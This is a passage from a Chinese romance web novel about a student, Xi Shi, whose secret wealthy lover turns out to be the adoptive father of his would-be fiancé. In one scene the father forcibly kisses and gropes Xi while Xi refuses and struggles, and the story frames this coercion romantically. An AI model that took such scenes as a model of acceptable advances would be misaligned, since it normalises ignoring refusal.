虽然霍夫人遥遥无期,但有个少奶奶也是好的。 而且这少奶奶,长得那个叫好看,不得不说,少爷太有眼光啦。 管家一脸姨母笑地目送奚时霍思议进去后,才发现落在后面面色难看的家主。 “家主,”管家小心翼翼,压低声音,“您是对少奶奶他不满意吗?” “不要叫他少奶奶。” 景沉……哦,应该要叫霍景沉才对冷冷出声,听得管家心里一咯噔,实在想不出来貌美如花的大美人怎么会不招霍景沉这位公公喜欢。 下一秒,他又听到霍景沉冷漠补充:“我对他很满意。” 管家:“……” 都不让叫少奶奶了,满的哪门子意啊。 霍景沉冷着脸走进客厅,就见到霍思议忠犬一样跟在奚时后面,招呼他坐,又让刘姐给他拿喝的,极其刺眼。 霍思议还献宝似的说:“爸,我刚刚是不是忘了给你介绍了,他叫奚时,是我大三的学长,学长,他就是我的爸爸。” 奚时经过这一段路的时间,已经冷静下来了。 甚至还小小复盘了一下,其实霍景沉露出过不少的破绽,只是他先入为主了,从没怀疑他。 特别是和霍思远在音乐会上碰到那次,他是一点都没怀疑霍思远在见到霍景沉时,态度骤变,从高高在上变成恭敬谦让,是因为霍景沉的身份啊。 还有那个叶四爷,人家的资历和地位,都够骑他头上拉屎了,忽然跑来示好,对他毕恭毕敬的,他也一点都没怀疑有猫腻。 霍景沉和霍思议同款口味的点心,他那不同于常人的贵气和气场……等等。 都是破绽,只是他没怀疑罢了。 但他没怀疑,霍景沉就可以顺其自然地隐瞒他吗? 而且因为他的无知,霍景沉和霍思远看了他多少笑话! 想到自己大言不惭地说要一个月50万包养他,还给他买商场那种霍景沉看都不会看一眼的西装手表,送他估计连进他车库资格都没有的宝马五系,还说这才符合他工薪阶层的身份,奚时的脚就要在这里扣出一栋地下皇宫来。 太尼玛丢人了。 表面上他包养景沉,是金主爸爸,实际上他是才是人家眼中的笑话,跳梁小丑! 说不定人家这一个月,都把他当成一个乐子看。 奚时越想越红温,最初的羞耻过去后,心里全是气,恨不得给霍景沉两拳。 好好好,喜欢装是吧。 奚时压下所有情绪,冲霍景沉礼貌打招呼:“霍叔叔好。” 霍景沉:“……” 霍景沉被这声叔叔叫得差点心梗。 霍思议见他爸依旧冷着脸,说:“爸,学长他胆子比较小,你就不要板着脸吓他啦。” 奚时配合地缩了缩脖子。 霍景沉差点冷笑出声。 他还胆子小,他胆子大得能包天了! 霍景沉在奚时面对面的位置坐下来,开门见山地说:“我不同意这门婚事。” 霍思议不可思议地瞪大眼:“为什么?” 奚时就知道霍景沉会不同意,拉了拉霍思议的袖子,苦笑了一声,说:“我就说我门第不高,又被退过婚,你爸爸肯定看不上我的。” “是这样吗爸?” 大孝子不管三七二十一,立刻质问:“你明明说过没有门第之见的,现在又不是封建社会,被退过婚怎么了?” 霍景沉:“……” “我不是这个意思。” 奚时立刻强词夺理:“那就是嫌弃我性别了,毕竟我是男人,生不了孩子,继承不了你们家皇位。” 霍思议:“这我不管,要儿子你自己生,你跟白静姐姐结婚,想要几个生……” “够了。” 霍景沉忍无可忍地打断大孝子,他本想说婚约这事没商量,他不会同意,老婆成了儿媳妇,那都什么事。 可他看到奚时一脸也不知真假的受伤表情,又说不出口了。 强权镇压不行,就讲道理。 他缓和了声音,说:“你们才认识半个月吧,这么短的时间,都不够了解彼此,你们都还小,不要这么仓促地决定未来伴侣。” “订婚又不是结婚,”霍思议振振有词,“而且我也和学长说了,等我到法定年龄,到时候如果我们都彼此喜欢,就去领证。” 霍景沉:“……” 霍思议也缓和口气:“爸,学长他真的很好的,等你以后了解他,你就会喜欢他了。” 霍景沉心说我还不知道他很好吗,我就是因为他好,才不同意你们在一起。 “而且,不是我这么仓促要跟学长订婚,如果我不出手,他家里就要他和一个肥头大耳的臭男人订婚。” 霍景沉脸色一沉:“谁?” “好像是什么果源四公子,一臭卖饮料的。” 霍景沉冷冷地说:“我会收拾他,而且我保证以后奚家的人不敢给他随意联姻。” 霍思议还要说什么,霍景沉拿出一家之主的威严,冷酷地说:“要订婚可以,我给你们三个月考察期,如果三个月后,你们还是执意要订婚,我也不阻止。” 说完,霍景沉站起来说:“就这样,这事没得商量。” 说着,他大步离开。 不离开不行,等下奚时又生出什么幺蛾子卖惨,他会心软。 订婚是不可能让他们订婚的,奚时迟早成为霍夫人,而不是少奶奶。 霍景沉离开后,大气都不敢喘的佣人们才纷纷松了口气。 这样子的家主太吓人了。 本来喜气洋洋的管家一下变得忧心忡忡,从刘姐手中接过刚打好的果汁,亲自端过来。 霍思议在自责:“对不起学长,我不知道会这样。” 管家把果汁端给奚时,也帮忙说话:“家主他这两天心情不大好,并不是针对你。” “谢谢,”奚时接过果汁,不甚在意地说,“就算针对我也没事,他又拿我没办法。” 完了,这孩子都开始说胡话了。 他要针对你,动动手指就能让你在燕京混不下去。 管家心里这么想着,又见奚时长长的眼睫毛垂着,扑闪扑闪的,可怜得很,心里那个揪心啊。 家主好狠的心,这么漂亮的儿媳妇都不满意,难道真是嫌弃他不能生? 霍思议很赞同地说:“就是,学长,就是要这样,不要害怕畏惧他,我会坚决站在你这边,帮你对抗恶毒公公的!” 奚时握拳:“好!” 管家:“……” 这个家,是不是要散了? 这时,在厨房工作的小梅端了盘洗好的水果出来。 她刚要把水果放在奚时面前的茶几上,脚下不知何故绊了下。 管家:“小心!” 然而来不及了,小梅手中的一盘水果没拿稳,全部扣进了奚时怀里。 “对不起对不起,少奶奶,我不是故意的,对不起。” 小梅手忙脚乱,一副快哭出来的样子,奚时忙说:“没事没事,你没受伤吧?” QAQ少奶奶心真善,居然先关心她有没有受伤。 小梅脸上闪过一丝不易觉察的心虚,低下头捡掉了一地的水果说:“没有。” 霍思议皱眉,说:“做事小心一点。” 家里的佣人都是受过专业训练的,这种情况实在不应该发生。 他帮奚时把掉身上的水果捡出来,说:“衣服弄湿了,去楼上换一身我的吧。” “不用,”盘子里都是车厘子葡萄等,都是有皮的,没有果汁,他的衣服只是被里面的水弄湿了,没脏,奚时说,“有没有吹风机,我吹一下就行。” 小梅立刻说:“卫生间有,我带您去。” 奚时:“好。” 霍思议也要跟着去,但这时他的手机响了,拿起来看了眼来电显示,他只能示意管家帮自己照看一下奚时,起身去去接电话。 奚时跟小梅走到洗手间,吹弄湿的衣服和裤子。 他刚吹了一会,并没关门的洗手间闪进来一个高大的身影。 等奚时意识到有人进来时,对方已经反手掩上了洗手间的门。 是霍景沉。 奚时灵光一闪,后知后觉明白过来,什么不小心打翻果盘,都是这个男人想找契机跟他单独说话的阴谋。 奚时装作没看到他,继续吹自己的。 谁知,霍景沉这臭不要脸的居然从身后抱住了他的腰。 奚时忍无可忍,关掉吹风机,说:“霍叔叔,你这是干什么?” 霍景沉被霍叔叔这个称呼刺激得肝疼,顶了他两下,粗俗地吐出两个字:“干你。” “……” 奚时被他这暗示性极强的动作顶得面红耳赤。 这是他家,外面一堆佣人,还有个随时可能过来的霍思议,他是想干嘛?! 奚时又气又羞,挣扎了几下挣不开,气得伸手掰他禁锢在自己腰上的手。 “放开!我现在是你儿子的对象,你是要搞乱……” 还没等他把那个禁忌的词汇说出来,景沉的另一只手手钳住他的下巴,迫使他回头。 “就搞。” 霍景沉说完低头,炽热的吻从身后落下来。 奚时眼睛微微瞪大,随即剧烈挣扎起来,但他跟霍景沉的体型相差悬殊,这家伙跟他在一起后,为了保持腹肌天天锻炼,力气大得很。 气死,根本挣不开。 “你放开我,混蛋!”奚时只能后仰身体,躲开霍景沉的嘴唇,说道。 霍景沉:“和霍思议分手。” 奚时驴脾气上来了:“我就不!” 霍景沉目光一沉,吻再次落下来。 非但如此,霍景沉还把他禁锢在身体后洗手台之间,撩开他衬衫下摆。 奚时身体顿时变得僵硬,简直不敢相信景沉居然敢…… 这可是在卫生间,甚至门都没锁。 霍思议就在外面,随时会找过来,一打开门就能看到。 “你疯了!” “我是疯了。” 霍景沉沉着声,威胁:“分不分?” “不……” 分字还没出口,嘴又被堵住了。 手也愈发放肆。 奚时气得脑子发热,在霍景沉的嘴唇压上来时,一张嘴,狠狠地在他嘴唇上咬了一口。 这一口用尽了狠劲,一点没留情,霎时间,血腥味充斥了两人的口腔。 “嘶。” 霍景沉吃痛,只能暂时放开他的嘴。 他刚要说什么,才注意到奚时通红的眼睛,和里面蓄着的泪意,心里一慌,赶紧停止了自己的行为,放开怀中的人。 “抱歉,我……我。” 运筹帷幄的首富第一次如此束手无策,语无伦次。 “你活该单身一辈子!” 奚时抹了一把嘴上沾到的血,撂下这么一句话,气冲冲地转身离开卫生间。 第30章 第 30 章 奚时对霍景沉的印象, 一直是温和、体贴,活好,是一个成熟稳重且理智的床上伴侣。 想不到他切开来的样子, 竟然这么癫。 但想到他听到的关于首富那些传闻,这男人做出什么事情来, 好像都不奇怪。 或许曾经那些温柔体贴都是装出来的, 实际他就是一个喜欢靠强权镇压一切的人。 不然哪里能迈过霍家争权的荆棘火海, 坐上家主之位。 霍思议接完电话回来,奚时正坐在沙发上玩手机。 他发现学长的嘴巴嫣红嫣红的, 像两颗饱满的樱桃, 说不出的诱人。 霍思议情不自禁抿了下唇, 走过去。 “学长,还有一会才开饭,要不要去参观一下我的收藏。” 奚时哪里有什么心情去参观收藏,但坐在这里也不是办法,尴尬得很, 于是说:“好啊。” 霍思议的收藏室单独占据着一个房间,其中有一面墙专门收集各种NBA超级球星的签名篮球、球衣和海报, 另一面墙是各种飞机跑车的模型, 还有一些手办,还有一面墙则放着许多的奖杯、奖牌和荣誉证书。 要没有那些糟心的事情,奚时光是看那些球星的签名,都要眼睛放光, 目不暇接。 此时, 奚时只能装出看得很投入的样子, 其实心不在焉。 他见收藏室里没别人,说:“思议, 我问一个比较冒昧的问题,如果你不方便回答的话,就当我没问,可以么?” 霍思议说:“你是不是想问我爸是不是我亲生的,怎么那么年轻?” 奚时被猜中心思,也不尴尬,笑问:“你怎么知道?” “嗐,我已经被问习惯了,这也没什么不能说的,我爸确实不是我亲生的父亲,我是我爸小舅的儿子,跟他其实是表兄弟。” 原来竟然是表兄弟吗?这就解释得通年龄上的差距了。 表兄弟变成父子,这又是什么剧情? 奚时更好奇了,正犹豫着要不要探听人家私事,霍思议已经自己往下说了。 “我三岁那年,发生了一些事情,我亲生父亲没了,为了安全,我爷爷把我送到当时在外国留学的表哥,也就是我现在的爸那里,我那时候小,周围全是金发碧眼的外国人,特别害怕没安全感,加上外甥肖舅,表哥跟我爸有几分像,就把他当成了爸爸。” 奚时见他不避讳这个话题的样子,干脆也大方地问出疑惑:“你三岁的话,你爸应该也才十几岁吧。” “对,我爸那时候17岁,他一开始还排斥我叫他爸,后面就能面不改色地把我拉出去当挡箭牌,拒绝那些追求者了。” “”奚时想到才17岁的景沉被迫当爹的样子,感觉有点搞笑。 “后来呢?”奚时忍不住问。 “后来,我已经完全把表哥当爸爸了,加上我爸说他喜欢男人,以后都不会有孩子,干脆就把我过继了过来,所以我就有了一个才大我14岁的爸爸。” 原来是这样子。 说实话很羡慕是怎么回事。 他也想要白得一个首富爸爸。 这时,门被敲了几下,外面传来管家的声音。 “少爷,奚先生,吃饭了。” 管家居然不叫他少奶奶了,奚时怀疑是霍景沉那狗比搞的鬼。 不过不叫才好,听了浑身都要起鸡皮疙瘩。 等他们下楼到餐厅,霍景沉已经坐在餐桌前了。 两人去洗了手,霍思议殷勤地帮奚时拉开椅子,等他坐下后,自己才在管家拉开的椅子上坐下来。 坐下后,霍思议才发现他爸嘴唇破了一块,问:“爸,你的嘴唇怎么了?” 霍景沉有意无意地看了奚时一眼,说:“不小心磕破的。” 霍思议看了又看,总感觉这不像磕的,像咬的。 “看起来有点严重,要不要叫家庭医生过来消一下毒?” 奚时再一次认识到了有钱人的财力,连嘴唇破一道口子都要叫家庭医生。 要不再打个疫苗得了。 “不用,”霍景沉说,“开饭吧。” 饭菜一道道地端上来,菜色很丰盛,奚时并没有什么特别爱吃的菜,但意外发现这一桌子的菜都很符合他的胃口。 霍思议拿起公筷,不断地投喂奚时。 “学长,这个小羊排好吃,你多吃点,还有这个黄花胶白烧鲳鱼,特别鲜。” 奚时:“谢谢。” “还有这个澳龙山药羹,是我家厨师的拿手好菜。” 奚时见他没有停的意思,赶紧说:“别夹了,太多了,吃不下了。” “这么一点怎么够,学长你太瘦啦,要多吃点。” 奚时还要说什么,霍景沉把筷子放在桌上,起身。 管家:“家主,怎么了?” “嘴疼,吃不下,你们慢慢用。” 说着,霍景沉离开了餐厅。 气都气饱了。 再看下去他要手刃这逆子了。 霍思议不知道他爸今天怎么了,连提前离席这么没礼貌的事情都做出来了。 就这么不想他跟学长在一起吗? “不好意思啊学长,我爸他……他大姨夫来了。” “……”神他妈大姨夫。 奚时噗嗤一声笑出来,说,“没事,我们自己吃。” 霍思议看他食欲似乎丝毫没受影响,还吃得更香了,于是也不管他爸了,愉快地和学长一起用餐。 吃完午饭后,霍思议又邀请奚时去完上次没来体验的VR游戏。 二人来到地下的VR游戏室,游戏室是空的,四周的墙壁包着软包,地上也铺着柔软的地毯,以确定玩的人不会因为太投入撞伤。 奚时以前没接触过VR游戏,以为就是带着眼镜体验沉浸式的视角。 事实证明,科技的发展,远比常人想象的快。 现在先进的VR,是有穿戴感应设备的,连接器通过微电流的刺激传到身体的各个部位,使人能有真实的感受。 比如在丛林里碰到一只大熊,人一拳打过去,电流就会刺激手部,让人有一拳到肉的真实打击感,如果被大熊拍一爪子,身体就会产生痛感。 当然,痛感也是很轻微的,不会对人体造成伤害。 而霍思议这里的又是最先进的,体验感更为真实,不禁让奚时怀疑人类很快要把全息游戏做出来了。 没有一个男生能抗拒这种高科技的游戏,奚时也一样,所以他很快忽略了霍景沉带来的不快,和霍思议沉浸在游戏的世界里。 —— 霍景沉的书房。 管家端着一个盘子和一杯牛奶,敲了敲房门,得到里面人的应允后开门进去。 霍景沉正在看电脑,他嘴唇上的伤口有点浮肿了,这伤口很寸,刚好在上嘴唇上,所以肿了之后有点香肠嘴的效果。 别问,问就是有点滑稽。 也不知道家主怎么搞的,会伤到这里。 “什么事?”霍景沉沉声问。 “家主,您从昨天回来就没怎么用饭,我让厨房做了点方便吃不容易弄疼伤口的东西,您用一点吧,不然胃病又要犯了。” 管家苦口婆心地劝说。 霍景沉以前工作太废寝忘食,三餐和休息都不规律,导致落下了胃病。 这么久不进食,很容易犯病。 霍景沉的目光盯着电脑屏幕,沉声说:“放着吧。” 管家走过去,把点心放在他手最方便拿的位置。 霍景沉的书桌很大,所以管家是绕到书桌后面放的盘子,这样子不可避免地会看到霍景沉的屏幕。 他以为家主这会儿是在加班忙工作,看到电脑屏幕上的画面时,管家愣住了。 霍景沉居然在看VR游戏室的监控! 监控的画面上,霍思议和奚时戴着VR眼镜,玩得正嗨。 他们的游戏里,不知道碰到了什么怪物,二人在现实里也紧张地背靠着背。 霍思议布置战术:“学长,等下我上去抗仇恨,你躲在我后面输出,千万别越过我,容易抢走仇恨。” 奚时紧张地说:“还是我跟你一起分担仇恨吧,它打你很痛。” “没事,我还有血瓶,要开了,你躲好。” 霍思议说着,母鸡护幼崽一样把奚时护在身后。 管家并不懂现在年轻人玩的游戏,但不妨碍他看得一脸姨母笑。 “我看少爷是真心喜欢他这个学长的,看他们多般配。”管家忍不住帮小情侣说话。 说真的他觉得奚时真不错,颜值高性格也好,学历也高,和霍思议配一脸。 谁知,他说完这话,就发现他家家主的脸沉得可怕,周身的气场都仿佛降了几度。 “你觉得他们很般配?” “……是,是啊。”管家硬着头皮说。 霍景沉气场更低了:“般配在哪里?” 管家:“……” 管家从未体验过这么低气场的家主,汗流浃背了。 他跟了霍景沉十多年了,虽然霍景沉平时比较严肃,不苟言笑,身边的人都怕他,但他并不是那种不讲理的暴君性格。 特别是对待年轻人的感情方面,他的态度一向很宽容。 不知道为什么到了霍思议这里就变得这么专横,让管家怀疑奚时是不是触犯了天条,让家主对这个儿媳妇意见那么大。 管家小心翼翼地问:“您是不喜欢奚时吗?” 霍景沉的目光死死盯着屏幕上奚时和霍思议的互动,冷笑:“喜欢,我喜欢得很。” 管家内心还没来得及吐槽,听到霍景沉又吐出一句话:“他在床上的样子我最喜欢。” “…………” “???” 啊这?! 管家脑子“嗡”一声,怀疑自己是不是人到中年听力退化听错了,不然为什么会听到如此可怕的东西。 这特么是什么禁忌乱*的剧情啊! 搁日本,都能拍两个小时的【bushi。 “出去吧。”霍景沉说。 管家风中凌乱地离开了书房。 “管家,家主他还好吧。”刘姐见他出来,关心地问道。 家主的状态肉眼可见的不好,大家虽然很怕他,但也很担心他。 “他……不算有事。”管家艰难地说。 这算哪门子的事啊! 小梅疑惑地问:“那到底是有事还是没事啊?” “家主不会让自己有事的,你们别管了,”管家说着,又转头问刘姐,“小刘,上次你说的什么治疗脱发的洗发水,推荐给我一下。” “啊?”刘姐看着他茂盛的头发,“你用不着吧?” 管家忧愁地叹了一口气:“很快就能用着了。” 如果上天再给他一次机会,他绝不会在五分钟前敲开家主的书房门,就不会获悉这么一个令他头秃的秘密。 回头得把霍思远叫来问问,这到底是怎么回事。 玩完VR游戏,时间也不早了,奚时提出了告辞。 明天就要上课,霍思议今天也要去学校,干脆和奚时一起去了燕大。 到了燕大,时间也差不多傍晚了,二人又干脆一起去吃了饭,才各回各家,各找各妈。 从电梯出来,奚时意外好像又不出意外的,看到霍景沉立在他家门口。 他心里全是气,阴阳怪气地说:“霍叔叔,你还真不怕我把霍思议带回来,让他看到自己爸爸居然私下来找自己对象啊。” 事不过三,霍景沉对于霍叔叔这个称呼已经免疫了。 “他不会跟你回来,”霍景沉很笃定地说,“我猜他连你的手都不敢牵,更别说这个时间,跟你孤男寡男地回家。” 奚时更阴阳怪气了:“你还真是了解你儿子。” 霍景沉心说如果不是充分了解情敌,他都不可能会放任他们一块回来。 不过霍景沉没有火上浇油,他低声说:“我今天来,是想跟你把事情解释清楚。” 其实中午在卫生间的时候就应该解释,但场合不对。 而且那时候霍景沉也没意识到自己错误的严重性,反而把自己放在了被分手委屈的那一方,才做出那种混帐的行为来。 霍景沉不是神,他作为上位者,高高在上惯了,要不是奚时那样子刺激了他,他甚至都不会反省自己的错误。 现在的霍景沉才是“已老实,求原谅”的状态。 奚时也知道不说清楚,两个人就会牵扯不清,他打开门说:“进来吧。” 这房子是奚时和霍景沉一块找的,当时定下去的时候,奚时还幻想过他们在这里甜蜜滚床单的日子。 如今……唉。 奚时今天有点累了,也不管霍景沉,把自己往沙发上一窝,拿过一边的抱枕抱着,淡淡地说:“有什么事你说吧。” 霍景沉在他旁边坐下来,首先解释说:“思议他不是我亲生的,是我小舅的儿子,在你之前,我没有和人在一起过。” 这个奚时已经知道了,淡淡地“嗯”了一声。 霍景沉:“关于我的身份……抱歉,我不是故意要隐瞒你的。” 奚时:“我知道,不是故意的,是有意的。” 霍景沉:“……” 真是个小刺猬啊。 霍景沉当然不知道,这是小意思了。 对待前任,奚时向来很刻薄的。 参考邵寻那个扑街仔。 跟邵寻比起来,他对欺骗了他的霍景沉,可以说是温和有礼了。 刺一下算什么,换成邵寻,门都进不来就被他乱棍打走了。 所以霍景沉还是占了外表上的便宜。 霍景沉接着说:“要说有意,也确实有吧,你也知道我的身份,追求我的人基本是奔着我的财富来的,只有你倒反天罡,说要包养我,吸引了我的注意。” 奚时不阴不阳地轻哼一声:“可把你美坏了吧。” “对,我享受跟你在一起时,被你当成情人养着的感觉,所以才没有及时坦白,对不起,我没有戏耍你的意思,我本来是打算这次出差回来就坦白的,但昨天还没坦白的机会,你就提出了分手。” 奚时一点就炸。 “这么说来还怪我了?你又不是没我的微信,你事后不会微信跟我说?就等着今天我看到你是首富大人,悔恨交加,跪下来求首富爸爸原谅我的功利,再给我一次机会我一定好好伺候你是吧。” 霍景沉扶额:“我不是那个意思,我昨天听到你要跟别的男人订婚,也是气疯了。” 奚时气上头了,口不择言:“你有什么资格气,我们本来就是我贪图你美色出钱包养的关系,难道你还想着我对你负责?” 霍景沉的额角跳了跳。 “只是包养关系?” “不然呢?你不会觉得我们在谈吧?” 霍景沉点点头:“是我理解偏差了。” 他以为奚时起码对他是有点感情的。 不过也是,有感情就不会那么决绝地扔下一百万就走。 从头至尾,奚时终究不过是想睡他罢了,他早就有觉悟了不是么? 空气一时安静下来。 奚时正要下逐客令,霍景沉忽然说:“既然你需要联姻,为什么要找霍思议?” 奚时反唇相讥:“难道找你?” 谁知,霍景沉斩钉截铁地说:“对,找我。” “我虽没他年轻,但我们只差了14岁,而且我比他有钱,比他帅,最重要的是,我性/功能也不会比他差,这点你应该很清楚。” 奚时:“……” 你他妈……最后一句话非说不可是吧。 照理说,霍景沉都低头到这个地步了,识相的就应该顺着杆子下。 霍景沉长那么帅,还有身家加成,完全是连嫖带拿,怎么样都不亏啊。 而且,成为首富的老婆,那是何等的荣耀啊,这辈子躺着都有花不完的钱和顶级享受的生活。 到时候,什么邵寻奚玥何天顺,看哪个不顺眼,就把他们提溜过来恐吓吓唬一番,做生活的调味料。 想想就美滋滋呢。 但,奚时是一个宁愿成为燕京豪门圈笑话,也不愿意低头跟邵寻协议结婚的人,何况现在还在气头上,又怎么会如霍景沉意。 他冷笑:“不好意思,我还偏偏就是喜欢思议这种鲜嫩水灵的小鲜肉,在我眼中,他比你帅,也比你真……” 奚时的话还没说完,霍景沉忍无可忍,“嚯”一下站起来,走到奚时面前,居高临下地看着他。 他深邃的目光沉沉,气场强大,压迫感十足,让奚时不由地想起了关于他那些狠戾的传说。 以前景沉在他面前表现得脾气太好了,让他都差点忘了,这可是一个连亲人都下得去手送进监狱的狠人。 奚时抱紧怀里的抱枕,警惕地问:“你想干嘛?” 霍景沉俯下身,手撑在沙发靠背上,伸手拉了拉自己的领带结,说:“我不信,霍思议穿西装,有我帅?有比我更能让你性奋?” 他着重咬重性字,让奚时明白是哪个性。 奚时:“……” 奚时刚才在门口时就注意到,霍景沉身上不是白天穿着的家常服,现在天气冷了,夜晚尤甚,所以他穿了一件长风衣,里面是西装马甲和白色条纹衬衫,系了领带。 该死地迷人,快把他XP戳烂了。 这身穿给谁看的,不言而喻。 所以奚时都不敢多看他,怕见色起意。 甚至霍景沉不知道的是,他为此还在房间里安了一大面的落地镜。 因为他们……时,大多时候他是背对着霍景沉的,面对面,咳,凿得太深,说是严丝合缝也不为过,奚时受不了。 奚时想背后的时候,也能看到穿着西装的景沉,看他衣冠楚楚实则禽兽的样子。 所以,搬家后,他在房间安了一大面的落地镜,到时候他们就可以在镜子前…… 奚时觉得自己挺变态的。 可惜,这镜子还没派上用场,他们就GG了。 奚时别开眼睛,嘴硬:“说不定呢,你提醒了我,等过两天我给他买两身试试。” 霍景沉:“……” 他居然要给别的男人买!西!装! 不能再惹老婆生气了不能再惹老婆生气了不能再惹老婆生气了。 霍景沉默念三遍,强按捺熊熊燃起的妒火,咬牙说:“好,你给他买,让他穿,好好比较比较。” 奚时:“……” “你以前只把我当情人没关系,你不跟霍思议分手也没关系,你有选择爱情的权利,我也有追求你的权利。” “三个月时间,我会让你心甘情愿给霍思议当妈。” 奚时忍无可忍:“你有病啊!” 霍景沉摸了摸他的头:“乖,知道就好,我吃人不吐骨头的,尤其是你。” “……”这话怎么这么熟悉。 霍景沉的手从他头上滑到眼睛上,捂住他的眼睛,他的手灼热滚烫,奚时正要挣脱开,一个更加灼热的东西落在他的额头上。 是霍景沉的唇。 该死的,怕被咬所以不亲嘴了是吧。 “以前那确实不算我的真面目,只能算是我示人的一面,重新认识一下也好,你好奚时,我叫霍景沉。” 奚时猛地推开他。 不推开不行,他发现这样的霍景沉该死地带感,快把他撩起立了。 心里再气,食髓知味的身体也很诚实。 霍景沉顺势站起来,提了一下弄乱的风衣,说:“好了,我先走了,你好好休息。” 说着,他也没多留恋,转身离开了奚时家。 奚时瘫软在沙发上。 他是不是……惹到变态了? 30-40 第31章 第 31 章 不过好像说起变态, 他也挺变态的。 不变态谁会在房间安那种用途的全身落地镜。 这么一说来,他们还挺般配?! 其实他不止一次地幻想过,如果景沉有个好家世, 他们就可以顺理成章地在一起。 甚至奚玥把何天顺介绍给他的时候,他还想着去他妈的养育之恩, 干脆去跟景沉领证算了。 但真到了这一天, 又…… 总之还是很气, 霍景沉不跪七七四十九天搓衣板都无法原谅他的气。 想到自己这一个多月以来被蒙在鼓里,干的那一桩桩煞笔事, 说的一句句煞笔话, 他脚指头就能抠出一条宇宙飞船来。 而且, 霍景沉在他说要跟他结束包养关系,和首富之子联姻后,立刻跟他说清楚身份,他也不至于这么气。 霍景沉就是等着他上门,识破他身份后尴尬, 后悔,还等着他求原谅, 然后以高位者的身份赦免他, 再继续睡他。 啊呸! 他妈的单着吧臭男人! 长假后的早八总是显得格外痛苦,隔日一早,奚时一直在床上赖到没办法赖了,才匆匆起床, 换衣服洗漱只用了五分钟时间, 就把自己发射出门。 打开门, 奚时意外看到门口堵了很多东西,邻居正在把家里的东西往门口搬。 看到他, 邻居歉意地说:“不好意思,是不是堵你路了,我现在就挪开。” “不用麻烦,过得去。” 奚时说着,长腿直接从那些东西上跨过去,走到电梯口,按下电梯。 邻居放下手中的东西,见他在等电梯,跟他搭话:“这么早去上学啊?” 奚时“嗯”了一声,也搭了一句腔问:“你这是搬家?” “对,租期到了,换个环境居住。” 说这话时,邻居脸上喜滋滋的,不知道的还以为他说的是彩票中了500万,买套房住。 这时电梯来了,奚时冲邻居点点头走了,并没有把这小插曲放在心上。 假后第一天上课,大伙儿几乎都是梦游状态,但等到课程一结束,大家仿佛都活过来了,精神抖擞。 今天下午后两节没课,奚时放假前就答应了学生会的,帮他们当一天的校园义卖销售员。 这是他们学校每年都要举办的活动,赚的钱全部捐给山区建希望小学。 奚时由于长相出色,从大一开始,就被学长学姐们抓来当销售员,收入饱饱的。 学生会的人很会资源利用,让奚时守女生们最爱的玩偶摊,这样子那些小玩偶就卖得特别快。 今年也不例外,等大家把摊子支好,刚好到了下课的高峰期,学生们一拨拨出来,看到这边的摊子都会好奇过来看。 其中就数奚时的摊子前围了最多人,几乎就二十多分钟的时间,原本堆成小山的玩偶下去了一大半。 不过学生流量也就下课这一大波,后面就渐渐少了。 奚时刚闲下来喝一口水,听到有人叫他:“学长。” 他抬眼,就看霍思议气喘吁吁地跑过来。 “学长,你在这里卖东西,怎么也不通知我。” 奚时刚要说话,又几个女生走过来,笑嘻嘻地问:“学长,这个玩偶怎么卖呀?” 奚时已经习惯了她们忽略牌子上写的价格,示意霍思议等一下,脾气很好地回答她们:“都是15元一个。” 女生们显然都是奔着他来的,又嘻嘻哈哈地问:“那我们多买的话有便宜一点吗?” “便宜没有,不过买两个的话,可以送一个这种小发圈。” 奚时示意她们看盒子里五颜六色的发圈。 “那我们几个人一个人买一个,可以给我们一人送一个发圈吗?” 小发圈不值钱,奚时笑着说:“当然可以。” “哇,学长,你笑起来好好看哦。” “为什么这小玩偶不能做成学长的样子!” “对呀,那样我绝对买爆!” 女生们一边挑,一边和奚时搭讪,挑完付钱后又围着奚时合了个影,才心满意足地离开。 霍思议脸都看黑了。 这特么哪里人卖玩偶,分明是卖脸! “不用卖了学长,这玩偶我全……” “嘘。” 霍思议还没说完,奚时赶紧冲他做了个噤声的手势。 他就是怕霍思议来这一套,才没通知他。 他知道霍思议有钱,出这么一点钱做公益不痛不痒。 甚至这点小钱奚时自己也随便出得起,根本没必要浪费时间在这里卖。 然而,这么一堆的小玩偶,霍思议买来也肯定是扔掉,那就不是做好事,是浪费了,完全违背了义卖的意义。 奚时示意他站在自己旁边,说:“不用你买,如果你没什么事的话,你陪我一起卖吧。” 霍思议闻言,立刻把刚刚那点不愉快抛之脑后,愉快地和学长一起卖脸。 有了霍思议这位新晋男神的加入,他们这个摊子又迎来了一波小高潮,玩偶很快见底了,最后只剩一个小兔子。 又有一个女生走过来,看到那个小兔子,说:“哇,这么快就只剩一个了吗?” 说着,她伸手去拿兔子,却被霍思议提前拿走了。 “不好意思,这个兔子已经卖掉了。”霍思议说。 “啊?卖掉了吗?” 霍思议斩钉截铁地说:“是的。” 女生失望地走了。 奚时正要问他卖给谁了,就见霍思议掏出手机,扫了付款码,付了15元。 他有点哭笑不得,说:“你还喜欢这东西?” “不是,”霍思议把兔子玩偶递到奚时面前,说,“我是想把它送给学长,学长辛苦了。” “” 奚时有点意外,接过那粉色的小兔子,说:“谢谢,你也辛苦了,我没东西送你,请你去喝那边那个奶茶怎么样?” 奚时一指他们对面的奶茶义卖摊子。 霍思议当然欣然应允。 奚时点了两杯奶茶,一杯递给霍思议,撕开吸管插/进去,吸了一口,甜甜的奶茶入腹,疲惫心情也随之放松了不少。 “我们去走走吧。”奚时对霍思议说。 霍思议眼睛都笑弯了,说:“好的学长!” 他们两个人并肩走在燕大,着实有点引人注目,还有人偷偷举手机拍照。 奚时找了条人烟稀少的路,等走到没什么人的地方了,才轻咳一声,说:“思议,有个事情” “嗯嗯,学长你说!” “我,”奚时有点不忍心,但还是坚决地说出了那句话,“我没办法跟你联订婚了。” 霍思议原本还美滋滋的脸色立刻变了,挡在奚时面前,紧紧盯着他:“是不是我爸找你说了什么!” “不是,是我自己的原因。” 知道了他爸是自己的前情人,奚时怎么还可能和霍思议订婚。 他不想把霍思议当成气霍景沉的工具人,所以想把话说清楚。 唉,他这联姻生涯,还真是一波三折。 “我不信!肯定是我爸,他威胁你了对不对?你别怕,我这就找他说去!” 霍思议气冲冲地拿出手机,奚时赶紧阻止他,说:“不是这样的,是我发现,我忘不掉我刚分掉的前男友。” 奚时撒了个不算谎的谎,防止霍思议去质问霍景沉,那不得美死霍景沉。 “这样子啊,”霍思议冷静了下来,说,“暂时忘不掉很正常啊,我们不是有两年的时间吗,我不信你两年后还爱着他。” 奚时:“……” “学长,给我一次机会好不好?”霍思议眼巴巴地问。 奚时有点不忍心,但还是坚决地说:“抱歉。” 霍思议像一只被主人抛弃的大狗,眼神都暗淡了。 